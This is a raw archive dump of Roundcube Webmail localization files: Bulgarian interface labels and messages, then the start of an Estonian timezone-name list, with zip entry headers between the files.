$labels['spellcheckbeforesend'] = 'Провери за правописни грешки преди изпращане на писмото';
$labels['spellcheckoptions'] = 'Настройки на проверката за правопис';
$labels['spellcheckignoresyms'] = 'Игнорирай думи съдържащи символи';
$labels['spellcheckignorenums'] = 'Игнорирай думи съдържащи числа';
$labels['spellcheckignorecaps'] = 'Игнорирай думи съдържащи единствено главни букви';
$labels['addtodict'] = 'Добави в речника';
$labels['mailtoprotohandler'] = 'Регистрирай RoundCube като интернет приложение, което обработва mailto: връзките в браузъра';
$labels['standardwindows'] = 'Обработва изскачащи прозорци като стандартни прозорци';
$labels['forwardmode'] = 'Препращай писмата';
$labels['inline'] = 'цитирани в писмото';
$labels['asattachment'] = 'като прикачен файл';
$labels['replyallmode'] = 'Действие по подразбиране на бутон [Отговор на всички]';
$labels['replyalldefault'] = 'отговори на всички';
$labels['replyalllist'] = 'отговори само на пощенския списък (ако има)';
$labels['allmessages'] = 'за всички писма';
$labels['olderxdays'] = 'по-стари от $x дни';
$labels['folder'] = 'Папка';
$labels['folders'] = 'Папки';
$labels['foldername'] = 'Име на папката';
$labels['subscribed'] = 'Абониран';
$labels['messagecount'] = 'Писма';
$labels['create'] = 'Създай';
$labels['createfolder'] = 'Нова папка';
$labels['managefolders'] = 'Управление на папките';
$labels['specialfolders'] = 'Служебни папки';
$labels['properties'] = 'Данни';
$labels['folderproperties'] = 'Свойства на папката';
$labels['parentfolder'] = 'Основна папка';
$labels['location'] = 'Местоположение';
$labels['info'] = 'Информация';
$labels['getfoldersize'] = 'Щракни за размер на папката';
$labels['changesubscription'] = 'Щракни за промяна на абонамент';
$labels['foldertype'] = 'Вид на папката';
$labels['personalfolder'] = 'Лична папка';
$labels['otherfolder'] = 'Папка на друг потребител';
$labels['sharedfolder'] = 'Публична папка';
$labels['findfolders'] = 'Търсене на папки';
$labels['findcontacts'] = 'Търсене на контакти';
$labels['findmail'] = 'Търсене на писма';
$labels['namespace.personal'] = 'Лична';
$labels['namespace.other'] = 'Други потребители';
$labels['namespace.shared'] = 'Споделена';
$labels['dualuselabel'] = 'Може да съдържа само';
$labels['dualusemail'] = 'писма';
$labels['dualusefolder'] = 'папки';
$labels['generate'] = 'Генериране';
$labels['encryptioncreatekey'] = 'Създай нова ключова двойка';
$labels['openmailvelopesettings'] = 'Отвори настройки на Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Имате $nr съвпадащи частни ключа, съхранени във вашия Mailvelope ключодържател:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Тази самоличност на подателя все още няма частен PGP ключ, съхраняван във вашето Mailvelope разширение. Искате ли да създадете такъв, за да използвате криптирани писма?';
$labels['encryption'] = 'Криптиране';
$labels['mailvelopeoptions'] = 'Настройки на Mailvelope';
$labels['mailvelopemainkeyring'] = 'Използвай основния ключодържател на Mailvelope';
$labels['mailvelopenotfound'] = 'Разширението Mailvelope не е активирано/инсталирано във вашия браузър.';
$labels['sortby'] = 'Сортирай по';
$labels['sortasc'] = 'Сортирай нарастващо';
$labels['sortdesc'] = 'Сортирай намаляващо';
$labels['undo'] = 'Отмени';
$labels['installedplugins'] = 'Инсталирани добавки';
$labels['plugin'] = 'Добавка';
$labels['version'] = 'Версия';
$labels['source'] = 'Източник';
$labels['destination'] = 'Цел';
$labels['license'] = 'Лиценз';
$labels['support'] = 'Поддръжка';
$labels['savedsearches'] = 'Запазени търсения';
$labels['dateformatY'] = 'ГГГГ';
$labels['dateformaty'] = 'ГГ';
$labels['dateformatm'] = 'ММ';
$labels['dateformatd'] = 'ДД';
$labels['dateformatj'] = 'Д';
$labels['dateformatn'] = 'М';
$labels['B'] = 'Б';
$labels['KB'] = 'КБ';
$labels['MB'] = 'МБ';
$labels['GB'] = 'ГБ';
$labels['unicode'] = 'Уникод';
$labels['english'] = 'Английски';
$labels['westerneuropean'] = 'Западна Европа';
$labels['easterneuropean'] = 'Източна Европа';
$labels['southeasterneuropean'] = 'Югоизточна Европа';
$labels['baltic'] = 'Балтийски';
$labels['cyrillic'] = 'Кирилица';
$labels['arabic'] = 'Арабски';
$labels['greek'] = 'Гръцки';
$labels['hebrew'] = 'Иврит';
$labels['turkish'] = 'Турски';
$labels['nordic'] = 'Скандинавски';
$labels['thai'] = 'Тайландски';
$labels['celtic'] = 'Келтски';
$labels['vietnamese'] = 'Виетнамски';
$labels['japanese'] = 'Японски';
$labels['korean'] = 'Корейски';
$labels['chinese'] = 'Китайски';
$labels['arialabeltopnav'] = 'Контрол на прозорците';
$labels['arialabeltasknav'] = 'Задачи на приложението';
$labels['arialabeltoolbar'] = 'Ленти с инструменти';
$labels['arialabellistnav'] = 'Навигация на cписък';
$labels['arialabelactivetask'] = 'Активна задача';
$labels['arialabelmessagessearchfilter'] = 'Филтър на списък с писма';
$labels['arialabelmailsearchform'] = 'Форма за търсене на писма';
$labels['arialabelcontactsearchform'] = 'Форма за търсене на контакти';
$labels['arialabelmailquicksearchbox'] = 'Поле за търсене на писма';
$labels['arialabelquicksearchbox'] = 'Поле за търсене';
$labels['arialabelfoldersearchfilter'] = 'Филтър за списък папки';
$labels['arialabelfoldersearchform'] = 'Форма за търсене в папки';
$labels['arialabelfolderlist'] = 'Избор на папка с писма';
$labels['arialabelmessagelist'] = 'Списък с писма';
$labels['arialabelmailpreviewframe'] = 'Преглед на писмо';
$labels['arialabelmailboxmenu'] = 'Меню с действия върху папка';
$labels['arialabellistselectmenu'] = 'Меню за избор в списък';
$labels['arialabelthreadselectmenu'] = 'Меню за списък с кореспонденции';
$labels['arialabelmessagelistoptions'] = 'Опции за преглед и сортиране на списък с писма';
$labels['arialabelmailimportdialog'] = 'Диалог за импорт на писма';
$labels['arialabelmessagenav'] = 'Навигация на писма';
$labels['arialabelmessagebody'] = 'Текст на писмо';
$labels['arialabelmessageactions'] = 'Действия за писмо';
$labels['arialabelcontactquicksearch'] = 'Форма за търсене на контакти';
$labels['arialabelcontactsearchbox'] = 'Поле за търсене на контакт';
$labels['arialabelmessageheaders'] = 'Заглавни блокове на писмо';
$labels['arialabelforwardingoptions'] = 'Настройки за препращане';
$labels['arialabelreplyalloptions'] = 'Настройки за отговор към всички';
$labels['arialabelmoremessageactions'] = 'Още действия с писмо';
$labels['arialabelmorecontactactions'] = 'Още действия с контакт';
$labels['arialabelmarkmessagesas'] = 'Маркирай избраните писма като...';
$labels['arialabelcomposeoptions'] = 'Настройки за създаване';
$labels['arialabelresponsesmenu'] = 'Меню с готови отговори';
$labels['arialabelattachmentuploadform'] = 'Форма за качване на прикачени файлове';
$labels['arialabelattachmentmenu'] = 'Настройки на прикачени файлове';
$labels['arialabelmailtomenu'] = 'Настройки на адреса на ел. поща';
$labels['arialabelattachmentpreview'] = 'Преглед на прикачени файлове';
$labels['ariasummarycomposecontacts'] = 'Списък с контакти и групи за избор като получатели';
$labels['arialabelcontactexportoptions'] = 'Настройки за експорт на контакти';
$labels['arialabelabookgroupoptions'] = 'Настройки на адресна книга/групи';
$labels['arialabelpreferencesform'] = 'Форма с предпочитания';
$labels['arialabelidentityeditfrom'] = 'Форма редакция на самоличност';
$labels['arialabelresponseeditfrom'] = 'Форма редакция на отговор';
$labels['arialabelsearchterms'] = 'Търсене за';
$labels['arialabeldropactionmenu'] = 'Меню за действие Drag-n-Drop';
$labels['arialabelheadersmenu'] = 'Меню за Добавяне получател (заглавен блок)';
$labels['arialabelimagetools'] = 'Инструменти за изображения';
$labels['helplistnavigation'] = 'Списък за клавиатурна навигация';
$labels['helplistkeyboardnavigation'] = "Стрелки нагоре/надолу: Премества фокус/избран ред.
Интервал: Избор на фокусиран ред.
Shift + нагоре/надолу: Добавяне към избраните на реда отгоре/отдолу.
Ctrl + Интервал: Добавяне на фокусирания ред към избраните/премахване от избраните.";
$labels['helplistkeyboardnavmessages'] = "Стрелки надясно/наляво: Разпъване/сгъване на писмата на кореспонденцията (само в изглед по кореспонденции).
Enter: Отваряне на избраното/фокусираното писмо.
Delete: Премества избраните писва в Кошче.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Отваряне на избрания/фокусирания контакт.";
PK
h�\�R���e�e'program/localization/bg_BG/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Възникна грешка!';
$messages['loginfailed']  = 'Неуспешно установяване на самоличност.';
$messages['cookiesdisabled'] = 'Вашият браузър не приема cookies.';
$messages['sessionerror'] = 'Невалидна или изтекла сесия.';
$messages['cookiesmismatch'] = 'Открито е несъответствие с „бисквитките“. Моля, изчистете „бисквитките“ на браузъра си.';
$messages['storageerror'] = 'Неуспешно свързване към сървър с данни.';
$messages['servererror'] = 'Сървърна грешка!';
$messages['servererrormsg'] = 'Сървърна грешка: $msg';
$messages['accountlocked'] = 'Твърде много неуспешни опити за установяване на самоличност. Моля изчакайте временното заключване на профила Ви преди да опитате отново.';
$messages['connerror'] = 'Неуспешно свързване (Сървърът не е намерен)';
$messages['dberror'] = 'Грешка в база данни!';
$messages['dbconnerror'] = 'Неуспешно свързване с базата данни!';
$messages['windowopenerror'] = 'Изскачащият прозорец беше блокиран!';
$messages['requesttimedout'] = 'Изтекло време за изпълнение на заявката';
$messages['errorreadonly'] = 'Невъзможно изпълнение на операцията. Папката е с права само за четене.';
$messages['errornoperm'] = 'Невъзможно изпълнение на операцията. Отказани права за достъп.';
$messages['erroroverquota'] = 'Невъзможно извършване на операцията. Няма достатъчно свободно дисково пространство.';
$messages['erroroverquotadelete'] = 'Няма достатъчно свободно дисково пространство. Ползвайте Shift+Del за да изтриете писма.';
$messages['invalidrequest'] = 'Невалидна заявка! Данните не са съхранени.';
$messages['invalidhost'] = 'Невалидно име на сървър.';
$messages['nomessagesfound'] = 'Няма намерени писма в тази папка.';
$messages['loggedout'] = 'Сесията е прекратена успешно. Довиждане!';
$messages['mailboxempty'] = 'Пощенската кутия е празна';
$messages['nomessages'] = 'Няма писма';
$messages['refreshing'] = 'Обновяване...';
$messages['loading'] = 'Зареждане...';
$messages['uploading'] = 'Качване на файл...';
$messages['attaching'] = 'Качване на прикачен на файл...';
$messages['uploadingmany'] = 'Качване на файлове...';
$messages['loadingdata'] = 'Зареждане на данни...';
$messages['checkingmail'] = 'Проверка за нови писма...';
$messages['sendingmessage'] = 'Изпращане на писмо...';
$messages['messagesent'] = 'Писмото е изпратено успешно.';
$messages['savingmessage'] = 'Записване на писмо...';
$messages['messagesaved'] = 'Писмото е записано в Чернови.';
$messages['successfullysaved'] = 'Успешен запис.';
$messages['savingresponse'] = 'Записване текст на отговор...';
$messages['deleteresponseconfirm'] = 'Желаете ли да изтриете текст за отговор?';
$messages['nocontactselected'] = 'Все още не сте избрали контакт.';
$messages['addedsuccessfully'] = 'Контактът е добавен в адресната книга.';
$messages['contactexists'] = 'Вече съществува контакт с този адрес на ел. поща.';
$messages['contactnameexists'] = 'Вече съществува контакт с това име.';
$messages['blockedimages'] = 'С оглед на Вашата сигурност, изображенията в това писмо са блокирани.';
$messages['blockedresources'] = 'С оглед на Вашата сигурност, отдалечените ресурси са блокирани.';
$messages['suspiciousemail'] = 'Това писмо съдържа подозрителни имейл адреси, които може да са подправени.';
$messages['bccemail'] = 'Препратените писма съдържат поверителни получатели (Ск).';
$messages['bouncehint'] = 'Писмото ще бъде изпратено без никакви модификации, т.е. използвайки оригиналните тяло, заглавки и получатели.';
$messages['encryptedmessage'] = 'Това е кодирано писмо и не може да бъде показано. Съжаляваме!';
$messages['externalmessagedecryption'] = 'Това е кодирано писмо и може да бъде декодирано с разширение на браузъра.';
$messages['nopubkeyfor'] = 'Не е намерен валиден публичен ключ за $email';
$messages['nopubkeyforsender'] = 'Не е намерен валиден публичен ключ за самоличността на подателя. Желаете ли да кодирате писмото само за получателите?';
$messages['encryptnoattachments'] = 'Невъзможно кодиране на вече прикачени файлове. Моля качете ги отново през редактора за кодиране.';
$messages['searchpubkeyservers'] = 'Желаете ли да потърсите на сървъри за публични ключове за липсващите ключове?';
$messages['encryptpubkeysfound'] = 'Следващите публични ключове са намерени:';
$messages['keyservererror'] = 'Невъзможно получаване на ключ от сървъра.';
$messages['keyimportsuccess'] = 'Публичният ключ $key е импортиран във Вашия ключодържател успешно.';
$messages['nocontactsfound'] = 'Няма намерени контакти.';
$messages['contactnotfound'] = 'Търсеният контакт не е намерен.';
$messages['contactsearchonly'] = 'Трябва да използвате формата за търсене, за да видите контактите от избраната адресна книга.';
$messages['sendingfailed'] = 'Неуспешно изпращане на писмо.';
$messages['senttooquickly'] = 'Моля изчакайте $sec секунди преди да изпратите писмото.';
$messages['errorsavingsent'] = 'Възникна грешка при записване на изпратеното писмо.';
$messages['errorsaving'] = 'Възникна грешка при записването.';
$messages['errormoving'] = 'Писмото не може да бъде преместено.';
$messages['errorcopying'] = 'Писмото не може да бъде копирано.';
$messages['errordeleting'] = 'Писмото не може да бъде изтрито.';
$messages['errormarking'] = 'Писмото не може да бъде маркирано.';
$messages['alerttitle'] = 'Внимание';
$messages['confirmationtitle'] = 'Сигурни ли сте...';
$messages['deletecontactconfirm']  = 'Желаете ли да изтриете маркираните контакти?';
$messages['deletegroupconfirm']  = 'Желаете ли да изтриете избраната група?';
$messages['deletemessagesconfirm'] = 'Желаете ли да изтриете маркираните писма?';
$messages['deletefolderconfirm']  = 'Желаете ли да изтриете тази папка?';
$messages['movefolderconfirm']  = 'Желаете ли да преместите тази папка?';
$messages['purgefolderconfirm']  = 'Желаете ли да изтриете всички писма в тази папка?';
$messages['contactdeleting'] = 'Изтриване на контакти...';
$messages['groupdeleting'] = 'Изтриване на група...';
$messages['folderdeleting'] = 'Изтриване на папка...';
$messages['foldermoving'] = 'Преместване на папка...';
$messages['foldersubscribing'] = 'Абониране за папка...';
$messages['folderunsubscribing'] = 'Отписване от папка...';
$messages['formincomplete'] = 'Не сте попълнили всички полета.';
$messages['noemailwarning'] = 'Моля въведете валиден адрес на ел. поща.';
$messages['nonamewarning']  = 'Моля въведете име.';
$messages['nopagesizewarning'] = 'Въведете брой редове на страница.';
$messages['nosenderwarning'] = 'Моля въведете валиден адрес на ел. поща на подателя.';
$messages['recipientsadded'] = 'Получателят е добавен успешно.';
$messages['norecipientwarning'] = 'Моля въведете поне един получател.';
$messages['disclosedrecipwarning'] = 'Всеки получател ще вижда адресите на ел. поща на останалите получатели. За да предотвратите това и за да се погрижите за тяхна конфиденциалност може да използвате поле Bcc.';
$messages['disclosedreciptitle'] = 'Твърде много публични получатели';
$messages['nosubjectwarning']  = 'Полето "Заглавие" е празно. Желаете ли да въведете заглавие сега?';
$messages['nosubjecttitle']  = 'Няма Заглавие';
$messages['nobodywarning'] = 'Изпрати това писмо без текст?';
$messages['notsentwarning'] = 'Писмото не е изпратено и съдържа незапазени промени. Желаете ли да бъде унищожено?';
$messages['restoresavedcomposedata'] = 'Намерено е неизпратено писмо, което е било в процес на създаване.\n\nОтносно: $subject\nЗапазено на: $date\n\nЖелаете ли да възстановите писмото?';
$messages['nosearchname'] = 'Моля въведете име на контакта или адрес на ел. поща.';
$messages['notuploadedwarning'] = 'Все още не са качени всички прикачени файлове. Моля изчакайте или откажете качването.';
$messages['searchsuccessful'] = '$nr писма намерени.';
$messages['contactsearchsuccessful'] = '$nr контакта намерени.';
$messages['searchnomatch'] = 'Няма съвпадения от търсенето.';
$messages['searching'] = 'Търсене...';
$messages['checking'] = 'Проверка...';
$messages['stillsearching'] = 'Търсенето продължава...';
$messages['nospellerrors'] = 'Не са открити правописни грешки.';
$messages['folderdeleted'] = 'Папката е изтрита успешно.';
$messages['foldersubscribed'] = 'Абонирането за папката е успешно.';
$messages['folderunsubscribed'] = 'Отписването от папката е успешно.';
$messages['folderpurged'] = 'Папката е изпразнена успешно.';
$messages['folderexpunged'] = 'Папката е уплътнена успешно.';
$messages['deletedsuccessfully'] = 'Изтриването е успешно.';
$messages['converting'] = 'Премахване форматиране на писмото...';
$messages['messageopenerror'] = 'Невъзможно зареждане на писмото от сървъра.';
$messages['filelinkerror'] = 'Грешка при качване на файл.';
$messages['fileuploaderror'] = 'Грешка при качване на файл.';
$messages['csvfilemismatch'] = 'Импортирането на множество CSV файлове с различни полета не се поддържа.';
$messages['filesizeerror'] = 'Прикаченият файл надвишава лимита от $size.';
$messages['filecounterror'] = 'Можете да качите не повече от $count файла едновременно';
$messages['msgsizeerror'] = 'Грешка при качване на прикачен файл. Макс. допустим размер на писмо от ($size) e надвишен.';
$messages['msgsizeerrorfwd'] = 'Максималният размер на писмо ($size) е превишен. $num писма не са прикачени.';
$messages['copysuccess'] = 'Успешно копирани $nr контакта.';
$messages['movesuccess'] = 'Успешно преместени $nr контакта.';
$messages['copyerror'] = 'Невъзможно копиране на контакти.';
$messages['moveerror'] = 'Невъзможно преместване на контакти.';
$messages['sourceisreadonly'] = 'Този източник на адреси е само за четене.';
$messages['errorsavingcontact'] = 'Грешка при записване на адреса.';
$messages['movingmessage'] = 'Преместване на писма...';
$messages['copyingmessage'] = 'Копиране на писма...';
$messages['copyingcontact'] = 'Копиране на контакти...';
$messages['movingcontact'] = 'Преместване на контакти...';
$messages['deletingmessage'] = 'Изтриване на писма...';
$messages['markingmessage'] = 'Маркиране на писма...';
$messages['addingmember'] = 'Добавяне на контакти в групата...';
$messages['removingmember'] = 'Премахване на контакти от групата...';
$messages['receiptsent'] = 'Обратната разписка е изпратена успешно.';
$messages['errorsendingreceipt'] = 'Невъзможно изпращането на обратна разписка.';
$messages['deleteidentityconfirm'] = 'Наистина ли желаете да изтриете тази самоличност?';
$messages['nodeletelastidentity'] = 'Невъзможно изтриване на тази самоличност, трябва да имате поне една.';
$messages['forbiddencharacter'] = 'Името на папка съдържа непозволени символи.';
$messages['selectimportfile'] = 'Моля изберете файл за качване.';
$messages['addresswriterror'] = 'Избраната адресна книга не може да бъде модифицирана.';
$messages['contactaddedtogroup'] = 'Контактите бяха добавени към групата успешно.';
$messages['contactremovedfromgroup'] = 'Контактите бяха премахнати от групата успешно.';
$messages['nogroupassignmentschanged'] = 'Няма променени групови задачи.';
$messages['importwait'] = 'Импортиране, моля изчакайте...';
$messages['importformaterror'] = 'Неуспешен импорт! Данните в каченият файл не са във валиден формат.';
$messages['importconfirm'] = '<b>Успешно са импортирани $inserted контакта, вече съществуващите $skipped контакта са пропуснати</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Пропуснати са $skipped съществуващи записи</b>';
$messages['importmessagesuccess'] = 'Успешно импортирани $nr писма';
$messages['importmessageerror'] = 'Неуспешен импорт! Каченият файл не е валиден файл на писма или пощенска кутия';
$messages['opnotpermitted'] = 'Непозволена операция!';
$messages['nofromaddress'] = 'Липсва адрес на ел. поща за избраната самоличност.';
$messages['editorwarning'] = 'Превключване на типа на редактора може да доведе до загуба на форматиране на текста. Желаете ли да продължите?';
$messages['httpreceivedencrypterror'] = 'Фатална конфигурационна грешка. Моля свържете се с Вашия администратор. <b>Писмото не може да бъде изпратено.</b>';
$messages['smtpconnerror'] = 'SMTP грешка ($code): Няма връзка със сървъра.';
$messages['smtpautherror'] = 'SMTP грешка ($code): Грешни потребител/парола.';
$messages['smtpfromerror'] = 'SMTP грешка ($code): Не може да бъде изпратено писмо от "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP грешка ($code): Не може да бъде изпратено писмо до "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP грешка: Не може да бъде обработен списъка с получатели.';
$messages['smtputf8error'] = 'SMTP грешка: Сървърът не поддържа Unicode в имейл адреса.';
$messages['smtpsizeerror'] = 'SMTP грешка: Размерът на писмото надвишава ограничението на сървъра ($limit)';
$messages['smtperror'] = 'SMTP грешка: $msg';
$messages['emailformaterror'] = 'Невалиден адрес на ел. поща: $email';
$messages['toomanyrecipients'] = 'Прекалено много адреси за изпращане (максимум: $max).';
$messages['maxgroupmembersreached'] = 'Броят на членовете на групата е повече от максималния: $max.';
$messages['internalerror'] = 'Възникна вътрешна грешка. Моля опитайте отново.';
$messages['contactdelerror'] = 'Невъзможно изтриване на контакти.';
$messages['contactdeleted'] = 'Контактът беше изтрит успешно.';
$messages['contactrestoreerror'] = 'Неуспешно възстановяване на изтритите контакти.';
$messages['contactrestored'] = 'Контактът е възстановен успешно.';
$messages['groupdeleted'] = 'Групата беше изтрита успешно.';
$messages['grouprenamed'] = 'Групата беше преименувана успешно.';
$messages['groupcreated'] = 'Групата беше създадена успешно.';
$messages['savedsearchdeleted'] = 'Запазените филтри са изтрити успешно.';
$messages['savedsearchdeleteerror'] = 'Невъзможно изтриване на запазените филтри.';
$messages['savedsearchcreated'] = 'Запазените филтри са създадени успешно.';
$messages['savedsearchcreateerror'] = 'Невъзможно създаване на запазен филтър.';
$messages['messagedeleted'] = 'Писмото е изтрито успешно.';
$messages['messagemoved'] = 'Писмото е преместено успешно.';
$messages['messagemovedtotrash'] = 'Писмото е преместено в Кошчето успешно.';
$messages['messagecopied'] = 'Писмото е копирано успешно.';
$messages['messagemarked'] = 'Писмото е маркирано успешно.';
$messages['autocompletechars'] = 'Въведете минимум $min знака, за да започне автоматичното попълване.';
$messages['autocompletemore'] = 'Намерените съвпадения са прекалено много. Моля въведете повече текст.';
$messages['namecannotbeempty'] = 'Полето за име не може да бъде празно.';
$messages['nametoolong'] = 'Името е прекалено дълго.';
$messages['namedotforbidden'] = 'Името на папката не може да започва с точка';
$messages['folderupdated'] = 'Папката е модифицирана успешно.';
$messages['foldercreated'] = 'Папката е създадена успешно.';
$messages['invalidimageformat'] = 'Невалиден формат на изображението.';
$messages['mispellingsfound'] = 'В писмото са намерени правописни грешки.';
$messages['parentnotwritable'] = 'Неуспешно създаването/преместването на папка в избраната основна папка. Няма права за достъп.';
$messages['messagetoobig'] = 'Писмото е прекалено голямо, за да бъде обработено.';
$messages['attachmentvalidationerror'] = 'Прикаченият файл е подозрителен, защото типът му не съвпада с този, който е деклариран в писмото. Ако не се доверявате на подателя, не трябва да го отваряте в браузъра, защото може да съдържа зловредно съдържание.<br/><br/><em>Очакван тип: $expected; открит тип: $detected</em>';
$messages['noscriptwarning'] = 'ВНИМАНИЕ! Тази пощенска услуга изисква JavaScript за да функционира коректно. Моля включете поддръжката на JavaScript в настройките на текущия браузър.';
$messages['messageissent'] = 'Писмото беше изпратено, но все още не е запазено. Желаете ли да го запазите сега?';
$messages['errnotfound'] = 'Файлът не е намерен';
$messages['errnotfoundexplain'] = 'Търсеният ресурс не е намерен';
$messages['errfailedrequest'] = 'Грешка при обръщение';
$messages['errauthorizationfailed'] = 'Грешка при установяване на права';
$messages['errunauthorizedexplain'] = 'Невъзможно установяване на права за достъп до тази услуга!';
$messages['errrequestcheckfailed'] = 'Грешка при проверка на заявка';
$messages['errcsrfprotectionexplain'] = "С цел повишаване нивото на сигурност достъпът да този ресурс е защитен против CSRF.\nАко виждате това съобщение, значи вероятно не сте излезли от системата преди да напуснете страницата на самото приложение.\n\nЗа да продължите по-нататък се изисква човешка намеса.";
$messages['errcontactserveradmin'] = 'Моля свържете се с администратор на сървъра.';
$messages['clicktoresumesession'] = 'Щракнете тук за да възстановите предишната си сесия.';
$messages['errcomposesession'] = 'Грешка при сесията за писане';
$messages['errcomposesessionexplain'] = 'Заявената сесия за писане не е намерена.';
$messages['clicktocompose'] = 'Натисни тук, за да започнеш ново писмо';
$messages['nosupporterror'] = 'Тази функция не се поддържа от уеб браузъра ви.';
$messages['siginserted'] = 'Подписът е вмъкнат успешно.';
$messages['responseinserted'] = 'Отговорът е вмъкнат успешно.';
$messages['noresponsesavailable'] = 'Няма налични отговори';
$messages['listempty'] = 'Списъкът е празен.';
$messages['listusebutton'] = 'Използвайте бутона Създай, за да добавите нов запис.';
$messages['keypaircreatesuccess'] = 'Успешно е създадена нова двойка ключове за $identity.';
$messages['emptyattachment'] = 'Изглежда, че този прикачен файл е празен.<br>Моля, консултирайте се с лицето, което го е изпратило.';
$messages['oauthloginfailed'] = 'OAuth автентикацията не бе успешна. Моля опитайте отново.';
PK
h�\�$p�C�C(program/localization/et_EE/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Aafrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Hartum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Ameerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaína';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belém';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Ikaluktutiak';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
